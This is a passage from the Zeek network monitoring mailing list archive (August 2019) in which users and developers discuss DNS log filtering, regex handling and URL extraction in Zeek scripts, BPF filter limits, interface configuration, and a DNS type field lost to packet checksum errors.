Log filtering is what you want.  The examples on
https://blog.zeek.org/2012/02/filtering-logs-with-bro.html come close,
specifically example 3. to fully filter the queries instead of  just
splitting them off, you'd use something like

global ignore_queries: set[string] =  { "example.com", "example.org"};

function ignore_some_queries(rec: DNS::Info): bool
{
	if(!rec?$query)
		return  T;
	return (rec$query !in ignore_queries);
}

event bro_init()
{
	Log::remove_default_filter(DNS::LOG);
		Log::add_filter(DNS::LOG, [
			$name = "dns_filtered",
			$pred = ignore_some_queries
        ]);
}




On Mon, Aug 12, 2019 at 1:46 PM Jason Blakey <j.blakey at rheagroup.com> wrote:

> Hi all,
>
>  I've got a site that i'm running BRO on that is generating TONS of DNS
> events.  About 50% of all log file bytes are DNS related.  And most of it
> is repeated lookup of a single a single domain name.
>
>  Is there any way (maybe using restrict_filters, maybe something else) to
> NOT log these DNS events for this specific hostname?  I've done some poking
> around on google, but nothing's jumping out at me.
>
> Thanks,
> jason
>
> <https://www.linkedin.com/company/rheagroup>
>
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190812/9e9122fd/attachment.html 

From jburgess03 at qub.ac.uk  Tue Aug 13 06:57:40 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Tue, 13 Aug 2019 13:57:40 +0000
Subject: [Zeek] Some issues with find_all_urls() function
Message-ID: <AM6PR07MB53033F027A760F0FFE12E0C78ED20@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi Everyone,

I'm using the "find_all_urls()" function from urls.zeek to extract all URLs from HTTP bodies. I occasionally errors such as this these:

1485557634.826679 error in /usr/local/zeek/share/zeek/base/utils/urls.zeek, line 122: bad conversion to count (to_count(parts[1]) and answers:PersonalBing:EZBubbleClose) no-repeat center;width:11px;height:11px;background-position-y:-10px}#hp_bottomCell #ezp_notification #ezp_bubble .ezp_bubble_close:hover{background-position-y:0}.ezp_location{font:14px)

1485557634.826679 error in /usr/local/zeek/share/zeek/base/utils/urls.zeek, line 122: bad conversion to count (to_count(parts[1]) and answers:PersonalBing:EZPanelClose) no-repeat center;width:11px;height:11px}.ezp_module{float:left;height:269px;width:255px;margin:25px 0;padding:0 42px}.ezp_module.ezp_module_narrow{width:122px}.ezp_module_leftseparator{border-left:1px solid #222}.ezp_module_title{font-size:20px;line-height:24px;margin-bottom:11px}.ezp_module_desc{font-size:16px;line-height:20px;margin-bottom:20px}.ezp_interests_icon{vertical-align:middle}.ezp_option_control{background:url(rms:)

1485557634.826679 error in /usr/local/zeek/share/zeek/base/utils/urls.zeek, line 122: bad conversion to count (to_count(parts[1]) and answers:PersonalBing:EZPanelClose) no-repeat center;width:11px;height:11px;position:relative;top:-22px;left:-10px}#hp_tbar.ezp_signin_message{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.55)),to(rgba(0,0,0,.85)));background-image:-moz-linear-gradient(rgba(0,0,0,.55) 0,rgba(0,0,0,.85) 80%);background-image:-ms-linear-gradient(rgba(0,0,0,.55) 0,rgba(0,0,0,.85) 80%);background-image:-o-linear-gradient(rgba(0,0,0,.55) 0,rgba(0,0,0,.85) 80%);background-image:linear-gradient(rgba(0,0,0,.55) 0,rgba(0,0,0,.85) 80%)}.ezp_opened .ezp_barrier{display:block;background-color:#000;height:111px;margin:0 40px;position:relative;top:-185px;opacity:0}#sc_mdc.loading+.ezp_panelopened{margin-top:-46px}.ezp_icon{position:relative;top:-5px;left:0;cursor:pointer;background-color:rgba(34,34,34,.75);margin-right:1px;margin-bottom:-7px;-webkit-margin-after:-5px}#ezp_bubble_message{position:absolute;left:30px;background-color:rgba(0,0,0,.8);color:#fff;border:1px solid #333;padding:0 12px;font-size:13px;line-height:40px;height:40px;opacity:0}#ezp_bubble_message .ezp_info{vertical-align:middle;margin-right:12px}#ezp_bubble_message .ezp_bubble_down{background:url(rms:)

1378597102.912603 error in /usr/local/zeek/share/zeek/base/utils/urls.zeek, line 122: bad conversion to count (to_count(parts[1]) and )
www.iec.ch\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16IEC http

I have a couple of questions regarding this:

1) When trying to resolve some of these issues, should I directly modify urls.zeek or will this have unintended consequences regarding other scripts/functionality in Zeek? The reason I ask this is when printing URLs extracted with the find_all_urls() function I get some results which are clearly not valid URLs e.g. "http://www.yootheme.com/license) */" - this should have cut off before the ")" which I believe are bug with urls.zeek rather than simply being intended functionality that I'd like to change.

2) Assuming I don't manage to fix all of these errors and choose to accept some, how can I stop them from printing to console each time I process a PCAP?

3) While trying to fix some of these errors with regex, I ran into the example "www.iec.ch\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16IEC http". I've tried to strip everthing after the first "\" but this doesn't work due to it being Hex (I guess) rather than an actual "\", any ideas for this specific case?

4) Finally, a regex related question I've been meaning to ask for a while. Because I'm trying to extract URLs from HTML/JS, I need to deal with cases whitespace and multiple types of quote character may be used. When I've written projects in Python, I would create a variable with all of the possible characters in it and then I would use this variable in the regex e.g.

q = r"[\?\?\'\"\s]*(?:&quot|&#039;)*"
pattern = q+r"userTokens"+q+r"(?::|=)"+q+r"(\w+)"+q

if re.search(pattern, data):
                do something..

I can't workout how to do this with regex in Bro/Zeek scripts so I'm having to create incredibly long patterns to ensure all possible cases are met, if anybody can recommend a better way (like how I did it in Python), that would be awesome!

Thanks in Advance,
Jonah (CryptoCat)


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190813/4707a1be/attachment.html 

From jsiwek at corelight.com  Tue Aug 13 09:48:44 2019
From: jsiwek at corelight.com (Jon Siwek)
Date: Tue, 13 Aug 2019 09:48:44 -0700
Subject: [Zeek] Some issues with find_all_urls() function
In-Reply-To: <AM6PR07MB53033F027A760F0FFE12E0C78ED20@AM6PR07MB5303.eurprd07.prod.outlook.com>
References: <AM6PR07MB53033F027A760F0FFE12E0C78ED20@AM6PR07MB5303.eurprd07.prod.outlook.com>
Message-ID: <CAMzgZ0+i3j6dNqfX3kAdyMmy5BJSMNQ1jXLGPeiOj-068DC+GQ@mail.gmail.com>

On Tue, Aug 13, 2019 at 7:00 AM Jonah Burgess <jburgess03 at qub.ac.uk> wrote:

> 1) When trying to resolve some of these issues, should I directly modify urls.zeek or will this have unintended consequences regarding other scripts/functionality in Zeek? The reason I ask this is when printing URLs extracted with the find_all_urls() function I get some results which are clearly not valid URLs e.g. "http://www.yootheme.com/license) */" - this should have cut off before the ")" which I believe are bug with urls.zeek rather than simply being intended functionality that I'd like to change.

Since the types of changes you'd be doing are purely bug fixes, it
would be great it you fork Zeek on GitHub, modify urls.zeek directly
with your fixes, and then submit a Pull Request so everyone can
benefit from the improvements.

> 2) Assuming I don't manage to fix all of these errors and choose to accept some, how can I stop them from printing to console each time I process a PCAP?

You could do:

    redef Reporter::errors_to_stderr=F;

(But these errors are symptoms of real bugs that we'd want to
eventually fix in urls.zeek)

> 3) While trying to fix some of these errors with regex, I ran into the example "www.iec.ch\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16IEC http". I've tried to strip everthing after the first "\" but this doesn't work due to it being Hex (I guess) rather than an actual "\", any ideas for this specific case?

"Strip everything after first non-printable character" could look like:

    print gsub(input_string, /[^[:print:]].*$/, "");

> 4) Finally, a regex related question I've been meaning to ask for a while. Because I'm trying to extract URLs from HTML/JS, I need to deal with cases whitespace and multiple types of quote character may be used. When I've written projects in Python, I would create a variable with all of the possible characters in it and then I would use this variable in the regex e.g.

The pattern conjunction/concatenation operator, &, may do what you
want, docs at:

    https://docs.zeek.org/en/latest/script-reference/types.html#type-pattern

The example shown there for combining patterns:

    /foo/ & /bar/ in "foobar"

- Jon


From alexander.kushnarev at outlook.com  Tue Aug 13 12:03:03 2019
From: alexander.kushnarev at outlook.com (Alexander Kushnarev)
Date: Tue, 13 Aug 2019 19:03:03 +0000
Subject: [Zeek] URL logs
Message-ID: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>

Hi Team
Can you please advice which of the logs contain the full urls to which I have accessed ?
All of the logs that I?ve gone thru contains only the domain and not the full request with the url.

Any help will be appreciated.
Alex.

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190813/ffa142b0/attachment.html 

From ericooi at gmail.com  Tue Aug 13 12:12:14 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Tue, 13 Aug 2019 14:12:14 -0500
Subject: [Zeek] URL logs
In-Reply-To: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>
References: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>
Message-ID: <CAEuvLSauJi_XGgvt5y1hQKUNOZaVDO8jh7r7QYSd6aejeGT5bg@mail.gmail.com>

Check http.log.  Note that if you're browsing over https, this won't show
up in http.log.

On Tue, Aug 13, 2019 at 2:06 PM Alexander Kushnarev <
alexander.kushnarev at outlook.com> wrote:

> Hi Team
>
> Can you please advice which of the logs contain the full urls to which I
> have accessed ?
> All of the logs that I?ve gone thru contains only the domain and not the
> full request with the url.
>
> Any help will be appreciated.
> Alex.
>
>
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190813/ae175165/attachment.html 

From justin at corelight.com  Tue Aug 13 12:12:34 2019
From: justin at corelight.com (Justin Azoff)
Date: Tue, 13 Aug 2019 15:12:34 -0400
Subject: [Zeek] URL logs
In-Reply-To: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>
References: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>
Message-ID: <CAPfnCugrGWSvQpQK-QW=JQF3nqCunqRXHEfQRcJEkMCAqYHoMQ@mail.gmail.com>

http.  the full url is a combination of host and uri columns.

On Tue, Aug 13, 2019 at 3:05 PM Alexander Kushnarev <
alexander.kushnarev at outlook.com> wrote:

> Hi Team
>
> Can you please advice which of the logs contain the full urls to which I
> have accessed ?
> All of the logs that I?ve gone thru contains only the domain and not the
> full request with the url.
>
> Any help will be appreciated.
> Alex.
>
>
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190813/b07b910c/attachment.html 

From alexander.kushnarev at outlook.com  Tue Aug 13 12:18:15 2019
From: alexander.kushnarev at outlook.com (Alexander Kushnarev)
Date: Tue, 13 Aug 2019 19:18:15 +0000
Subject: [Zeek] URL logs
In-Reply-To: <CAPfnCugrGWSvQpQK-QW=JQF3nqCunqRXHEfQRcJEkMCAqYHoMQ@mail.gmail.com>
References: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>,
	<CAPfnCugrGWSvQpQK-QW=JQF3nqCunqRXHEfQRcJEkMCAqYHoMQ@mail.gmail.com>
Message-ID: <AM6PR0502MB3928D2B73E02AB983697AA96F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>

Is there a way to make the two combine into one field?

Get Outlook for Android<https://aka.ms/ghei36>

________________________________
From: Justin Azoff <justin at corelight.com>
Sent: Tuesday, August 13, 2019 10:12:34 PM
To: Alexander Kushnarev <alexander.kushnarev at outlook.com>
Cc: zeek at zeek.org <zeek at zeek.org>
Subject: Re: [Zeek] URL logs

http.  the full url is a combination of host and uri columns.

On Tue, Aug 13, 2019 at 3:05 PM Alexander Kushnarev <alexander.kushnarev at outlook.com<mailto:alexander.kushnarev at outlook.com>> wrote:
Hi Team
Can you please advice which of the logs contain the full urls to which I have accessed ?
All of the logs that I?ve gone thru contains only the domain and not the full request with the url.

Any help will be appreciated.
Alex.

_______________________________________________
Zeek mailing list
zeek at zeek.org<mailto:zeek at zeek.org>
http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek


--
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190813/dcd4beb2/attachment-0001.html 

From alexander.kushnarev at outlook.com  Tue Aug 13 12:53:13 2019
From: alexander.kushnarev at outlook.com (Alexander Kushnarev)
Date: Tue, 13 Aug 2019 19:53:13 +0000
Subject: [Zeek] URL logs
In-Reply-To: <AM6PR0502MB3928D2B73E02AB983697AA96F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>
References: <AM6PR0502MB39286DD1934215A119D0C4E8F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>,
	<CAPfnCugrGWSvQpQK-QW=JQF3nqCunqRXHEfQRcJEkMCAqYHoMQ@mail.gmail.com>,
	<AM6PR0502MB3928D2B73E02AB983697AA96F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>
Message-ID: <AM6PR0502MB39280F3BAC64BFF44A539407F5D20@AM6PR0502MB3928.eurprd05.prod.outlook.com>

Also for some reasons I don't get any http traffic in the log even thou I should've have at least or two logs of browsing to different websites

Get Outlook for Android<https://aka.ms/ghei36>

________________________________
From: zeek-bounces at zeek.org <zeek-bounces at zeek.org> on behalf of Alexander Kushnarev <alexander.kushnarev at outlook.com>
Sent: Tuesday, August 13, 2019 10:18:15 PM
To: Justin Azoff <justin at corelight.com>
Cc: zeek at zeek.org <zeek at zeek.org>
Subject: Re: [Zeek] URL logs

Is there a way to make the two combine into one field?

Get Outlook for Android<https://aka.ms/ghei36>

________________________________
From: Justin Azoff <justin at corelight.com>
Sent: Tuesday, August 13, 2019 10:12:34 PM
To: Alexander Kushnarev <alexander.kushnarev at outlook.com>
Cc: zeek at zeek.org <zeek at zeek.org>
Subject: Re: [Zeek] URL logs

http.  the full url is a combination of host and uri columns.

On Tue, Aug 13, 2019 at 3:05 PM Alexander Kushnarev <alexander.kushnarev at outlook.com<mailto:alexander.kushnarev at outlook.com>> wrote:
Hi Team
Can you please advice which of the logs contain the full urls to which I have accessed ?
All of the logs that I?ve gone thru contains only the domain and not the full request with the url.

Any help will be appreciated.
Alex.

_______________________________________________
Zeek mailing list
zeek at zeek.org<mailto:zeek at zeek.org>
http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek


--
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190813/a5bd303a/attachment.html 

From jason_haar at trimble.com  Tue Aug 13 20:37:51 2019
From: jason_haar at trimble.com (Jason Haar)
Date: Wed, 14 Aug 2019 15:37:51 +1200
Subject: [Zeek] getting Too_Long_To_Compile_Filter notice
Message-ID: <CAFChrg+wMSsCcbfAJdwb4Kr_JvDSSF6LCkWS2e0r2+UWp4oX_w@mail.gmail.com>

Hi there

We have a small army of scanners that I want to exclude from zeek, so I
used the BPF filter option. Unfortunately, it's 166 IP addresses and is
triggering this "Too_Long_To_Compile_Filter" warning.

The documentation states "compensation measures may be taken by the
framework to reduce the filter size" - does that mean the filter is being
shortened? Ironically I'm mainly using the filter to remove stuff that zeek
shouldn't bother with - ie I'm removing load - which apparently is in
itself overloading zeek?

Are there other ways of  removing noisy and/or masses of uninteresting
traffic - without needing to lean on our network team to start altering
SPAN traffic flows/etc?

Thanks!

-- 
Cheers

Jason Haar
Information Security Manager, Trimble Navigation Ltd.
Phone: +1 408 481 8171
PGP Fingerprint: 7A2E 0407 C9A6 CAF6 2B9F 8422 C063 5EBB FE1D 66D1
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190814/18deddc9/attachment.html 

From hckim at narusec.com  Wed Aug 14 01:16:30 2019
From: hckim at narusec.com (=?UTF-8?B?6rmA7Z2s7LKg?=)
Date: Wed, 14 Aug 2019 17:16:30 +0900
Subject: [Zeek] =?utf-8?q?=E2=80=98eth0_-i_eth1=E2=80=99_makes_half_of_con?=
	=?utf-8?b?bi5sb2cgY291bnQgdGhhbiDigJhldGgw4oCZ?=
Message-ID: <CAHs13Ah0u6JyGCGFoesp-dNLanBWv6dp+4De7ab48Kx4uc4Aiw@mail.gmail.com>

Hi everyone

I am having configure issue.

In node.cfg , ?eth0 -i eth1? config makes half of conn.log count than ?eth0?

there is no traffic in eth1, in live monitoring eth1 is standby.


I test this live traffic and pfsend with pcap file from other server

(pfsend is feeding only to eth0 port)


Because of circumstances I can not use bridge setup.

I must be missing something.

Could any one point me to right direction?


My setup is blow


Zeek(bro) server

cpu: Intel(R) Xeon(R) CPU E5-2650 X 2 (total 32 core)

ram: 64G


zeek(bro) 2.4.2 with pf_ring 7.5.0 (not a zc)

no extra zeek(bro) script


server has two monitoring port

eth0(active), eth1 (standby)


node.cfg 'eth0 -i eth1'

[manager]

type=manager

host=localhost


[proxy-1]

type=proxy

host=localhost


[proxy-2]

type=proxy

host=localhost


[monitor]

type=worker

host=localhost

interface='eth0 -i eth1'

lb_method=pf_ring

lb_procs=10

pin_cpus=1,2,3,4,5,6,7,8,9,10




node.cfg eth0

[manager]

type=manager

host=localhost


[proxy-1]

type=proxy

host=localhost


[proxy-2]

type=proxy

host=localhost



[monitor]

type=worker

host=localhost

interface=eth0

lb_method=pf_ring

lb_procs=10

pin_cpus=1,2,3,4,5,6,7,8,9,10

-- 
------------------------------------------------------
Hichul Kim ??? ?? ???

Naru Security  (?)??????
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190814/0f66e092/attachment.html 

From jburgess03 at qub.ac.uk  Wed Aug 14 04:12:00 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Wed, 14 Aug 2019 11:12:00 +0000
Subject: [Zeek] Regex - Can you return the matched pattern using sub?
Message-ID: <AM6PR07MB5303EC57163EE7D66205BA208EAD0@AM6PR07MB5303.eurprd07.prod.outlook.com>

Hi,

Can I replace a pattern in a string with ?? but also return the matched pattern?

Basically I am extracting different blocks of text from a string using match_pattern() but then at the end, I want to search all the remaining text (minus the blocks that were already extracted).

I tried simply calling gsub(data, pattern, ??) just after calling block[n] = match_pattern(data, pattern) but this didn?t seem to benefit performance at all. I?m sure there must be a better way :/

Thanks in Advance,
Jonah


-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190814/4332304e/attachment-0001.html 

From tim at corelight.com  Wed Aug 14 11:23:08 2019
From: tim at corelight.com (Tim Wojtulewicz)
Date: Wed, 14 Aug 2019 11:23:08 -0700
Subject: [Zeek] Removal of multiple input sources?
Message-ID: <571348E4-C102-4176-BCE9-3895B899AEE7@corelight.com>

We?re currently considering a rewrite of the existing main IO loop in Zeek (see https://github.com/zeek/zeek/issues/264 <https://github.com/zeek/zeek/issues/264> for more detail). As part of this work, we?re planning to remove the ability for a single Zeek process to handle multiple input sources (either interface or pcap) simultaneously, since it would simplify the code somewhat. The case of multiple interfaces is already handled by running multiple workers. Is anyone actively using the multiple pcap functionality that would be broken by this change?

Tim @ Corelight
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190814/4da2b7e8/attachment.html 

From jburgess03 at qub.ac.uk  Wed Aug 14 12:08:06 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Wed, 14 Aug 2019 19:08:06 +0000
Subject: [Zeek] Regex - Can you return the matched pattern using sub?
Message-ID: <AM6PR07MB5303BAD8E0CE67766F10FC608EAD0@AM6PR07MB5303.eurprd07.prod.outlook.com>

Furthermore, is there an alternative to match_pattern that returns all matches for a pattern?

It would probably help if I could more better documentation about regex functions in Zeek.. I have this: https://docs.zeek.org/en/stable/scripts/base/utils/patterns.bro.html but if anybody could recommend more resources it would be appreciated.

Thanks,
Jonah

From: Jonah Burgess<mailto:jburgess03 at qub.ac.uk>
Sent: 14 August 2019 12:20
To: zeek at zeek.org<mailto:zeek at zeek.org>
Subject: [Zeek] Regex - Can you return the matched pattern using sub?

Hi,

Can I replace a pattern in a string with ?? but also return the matched pattern?

Basically I am extracting different blocks of text from a string using match_pattern() but then at the end, I want to search all the remaining text (minus the blocks that were already extracted).

I tried simply calling gsub(data, pattern, ??) just after calling block[n] = match_pattern(data, pattern) but this didn?t seem to benefit performance at all. I?m sure there must be a better way :/

Thanks in Advance,
Jonah



-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190814/11b37952/attachment.html 

From jburgess03 at qub.ac.uk  Wed Aug 14 12:38:05 2019
From: jburgess03 at qub.ac.uk (Jonah Burgess)
Date: Wed, 14 Aug 2019 19:38:05 +0000
Subject: [Zeek] Some issues with find_all_urls() function
In-Reply-To: <CAMzgZ0Jsvu6O3cmgn__dhifvEzUQuH+jEfy4o+objqZ6oFUQFg@mail.gmail.com>
References: <AM6PR07MB53033F027A760F0FFE12E0C78ED20@AM6PR07MB5303.eurprd07.prod.outlook.com>
	<CAMzgZ0+i3j6dNqfX3kAdyMmy5BJSMNQ1jXLGPeiOj-068DC+GQ@mail.gmail.com>
	<AM6PR07MB53034E9780D786AD3445F3908EAD0@AM6PR07MB5303.eurprd07.prod.outlook.com>,
	<CAMzgZ0Jsvu6O3cmgn__dhifvEzUQuH+jEfy4o+objqZ6oFUQFg@mail.gmail.com>
Message-ID: <AM6PR07MB5303F6AF14AE52748711EBEA8EAD0@AM6PR07MB5303.eurprd07.prod.outlook.com>

Thanks, I think that?s just what I was looking for with the regex variables. Does that mean I need to add ?i? after each of the concatenated patterns for it to be case insensitive?



e.g.



q = /[\?\?\'\"\s]*(?:&quot|&#039;)*/i

q* & /test/i & q & /test2/i & q & /test3/i



The string_to_pattern function will be very handy too ??



Regarding my last message, I realised I can also use find_all instead of match_pattern to find all occurances so that?s awesome.



Thanks,

Jonah



From: Jon Siwek<mailto:jsiwek at corelight.com>
Sent: 14 August 2019 20:25
To: Jonah Burgess<mailto:jburgess03 at qub.ac.uk>
Subject: Re: [Zeek] Some issues with find_all_urls() function



On Tue, Aug 13, 2019 at 5:25 PM Jonah Burgess <jburgess03 at qub.ac.uk> wrote:
>
> Regarding question 4 I think the concatenation would still take my literal string so I couldn?t store it in a variable e.g. I?d have to do:
>
> /[\?\?\'\"\s]*(?:&quot|&#039;)*/ & /test/ & /[\?\?\'\"\s]*(?:&quot|&#039;)*/ & /test2/ & /[\?\?\'\"\s]*(?:&quot|&#039;)*/
>
> Instead of:
>
> q = r"[\?\?\'\"\s]*(?:&quot|&#039;)*"
>
> /q*/ & /test/ & /q*/ & /test2/ & /q*/

You can't use the variable directly inside the regex within the '/'
delimiters, but you can just use the variable itself to do simple
concatenations:

    local q = /something/;
    local r = q & /another thing/;

It's true that it's not as flexible as being able to expand the
variable within the regex itself, but still may help for cases where
you just repeat the same pattern text multiple times.

> Currently I am using match_pattern() to extract different blocks of text and then at the end, I want to search the remaining text. Any idea how I can do this efficiently (without having to re-search the already extracted and searched blocks)?

Maybe see something like this to iterate over an input string and then
just modify that input string to chop off everything
up-to-and-including the first match:

    local input_string = "foobar and foo bar and foo ...";

    while ( T )
        {
        print fmt("matching input string: '%s'", input_string);
        local res = match_pattern(input_string, /foo/);

        if ( ! res$matched )
            break;

        print fmt("match at offset %d: '%s'", res$off, res$str);
        input_string = input_string[(res$off - 1 + |res$str|):];
        }

    print fmt("remaining: '%s'", input_string);

> This kind of relates to my last issue; if I were able to convert a string to pattern, then I would just call the sub() function on the original block of text (subbing out each of the pattern matches I retrieved from the earlier blocks of text). Can you convert a string to a pattern?

There's the `string_to_pattern` function:

    https://docs.zeek.org/en/stable/scripts/base/bif/bro.bif.bro.html#id-string_to_pattern

(Ignore the note there that it must be called at startup time, that
documentation is outdated).

I'd probably use the other iteration code I gave above, though rather
than create patterns like this.

- Jon
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190814/2f07e297/attachment-0001.html 

From mgezz66 at gmail.com  Fri Aug 16 09:10:03 2019
From: mgezz66 at gmail.com (Michael Gez)
Date: Fri, 16 Aug 2019 12:10:03 -0400
Subject: [Zeek] Zeek/Bro DNS log missing type
Message-ID: <CALuqTtXay8Av6=guQzamyWvTg9=c50LsGm3P0aT6LZOpJ7ZS1Q@mail.gmail.com>

Hi all,

I am using Zeek to run a PCAP and then parsing/processing the
generated logs to make sense of the traffic.
The issue I?m having is with the DNS parser. It is not always producing
what I?m expecting it to.
In particular, it doesn?t always parse the type from the DNS traffic PCAP,
which is one of the markers my code looks for.

If I look using Wireshark with the same PCAP I see that the type ?A? is
present, as I would expect it to be.
However, the resulting Zeek dns.log is missing that field in particular.
I need Zeek to parse this type field out so I know to look into the domain
visited to make sure it is legitimate.

Are there any known issues with the DNS parser, or any known solutions to
this particular problem?
Here is an example generated by navigating to a webpage
1565970799.068532    CK9bYM3SGJHwpPNW12    192.168.100.3    19024
192.168.100.1    53    udp    10896    -
rl.ammyy.com    -    -    -    -    0    NOERROR    F    F    F    T
 0    188.42.129.148    278.000000    F


To the best of my understanding, the field which is marked empty  "-?,  2
fields prior to NOERROR field should be ?A?.
This works for other instances of traffic I can find in PCAPs from the
internet, but not from the ones generated by me capturing local traffic
while navigating to the website.

Thank you!

P.S. if I left out any important information please let me know so I can
include it, I?m still new to the IDS
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190816/693c70ab/attachment.html 

From vlad at es.net  Fri Aug 16 09:23:16 2019
From: vlad at es.net (Vlad Grigorescu)
Date: Fri, 16 Aug 2019 16:23:16 +0000
Subject: [Zeek] Zeek/Bro DNS log missing type
In-Reply-To: <CALuqTtXay8Av6=guQzamyWvTg9=c50LsGm3P0aT6LZOpJ7ZS1Q@mail.gmail.com>
References: <CALuqTtXay8Av6=guQzamyWvTg9=c50LsGm3P0aT6LZOpJ7ZS1Q@mail.gmail.com>
Message-ID: <CAPqbkwsVXAknZQD9=gH2-i=h7KRdDW7GzS3NrExh6MCr1oN6QQ@mail.gmail.com>

Is the checksum correct on your query packet?

On Fri, Aug 16, 2019 at 4:18 PM Michael Gez <mgezz66 at gmail.com> wrote:

> Hi all,
>
> I am using Zeek to run a PCAP and then parsing/processing the
> generated logs to make sense of the traffic.
> The issue I?m having is with the DNS parser. It is not always producing
> what I?m expecting it to.
> In particular, it doesn?t always parse the type from the DNS traffic PCAP,
> which is one of the markers my code looks for.
>
> If I look using Wireshark with the same PCAP I see that the type ?A? is
> present, as I would expect it to be.
> However, the resulting Zeek dns.log is missing that field in particular.
> I need Zeek to parse this type field out so I know to look into the domain
> visited to make sure it is legitimate.
>
> Are there any known issues with the DNS parser, or any known solutions to
> this particular problem?
> Here is an example generated by navigating to a webpage
>
> 1565970799.068532    CK9bYM3SGJHwpPNW12    192.168.100.3    19024    192.168.100.1    53    udp    10896    -
> rl.ammyy.com    -    -    -    -    0    NOERROR    F    F    F    T    0    188.42.129.148    278.000000    F
>
>
> To the best of my understanding, the field which is marked empty  "-?,  2
> fields prior to NOERROR field should be ?A?.
> This works for other instances of traffic I can find in PCAPs from the
> internet, but not from the ones generated by me capturing local traffic
> while navigating to the website.
>
> Thank you!
>
> P.S. if I left out any important information please let me know so I can
> include it, I?m still new to the IDS
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190816/a189cb4f/attachment.html 

From mgezz66 at gmail.com  Fri Aug 16 09:31:28 2019
From: mgezz66 at gmail.com (Michael Gez)
Date: Fri, 16 Aug 2019 12:31:28 -0400
Subject: [Zeek] Zeek/Bro DNS log missing type
In-Reply-To: <CAPqbkwsVXAknZQD9=gH2-i=h7KRdDW7GzS3NrExh6MCr1oN6QQ@mail.gmail.com>
References: <CALuqTtXay8Av6=guQzamyWvTg9=c50LsGm3P0aT6LZOpJ7ZS1Q@mail.gmail.com>
	<CAPqbkwsVXAknZQD9=gH2-i=h7KRdDW7GzS3NrExh6MCr1oN6QQ@mail.gmail.com>
Message-ID: <CALuqTtWU2_gz+--eT2wdxVBT=BQQXu_g+W+RXp-C1C25yf-07Q@mail.gmail.com>

Vlad,

The checksum was indeed off, adding -C to the options when running the
packet has corrected this behavior.
I'm now seeing the "A" i expected in the output dns log file.
Thank you very much for your swift and pointed response.

Have a great day.

On Fri, Aug 16, 2019 at 12:23 PM Vlad Grigorescu <vlad at es.net> wrote:

> Is the checksum correct on your query packet?
>
> On Fri, Aug 16, 2019 at 4:18 PM Michael Gez <mgezz66 at gmail.com> wrote:
>
>> Hi all,
>>
>> I am using Zeek to run a PCAP and then parsing/processing the
>> generated logs to make sense of the traffic.
>> The issue I?m having is with the DNS parser. It is not always producing
>> what I?m expecting it to.
>> In particular, it doesn?t always parse the type from the DNS traffic
>> PCAP, which is one of the markers my code looks for.
>>
>> If I look using Wireshark with the same PCAP I see that the type ?A? is
>> present, as I would expect it to be.
>> However, the resulting Zeek dns.log is missing that field in particular.
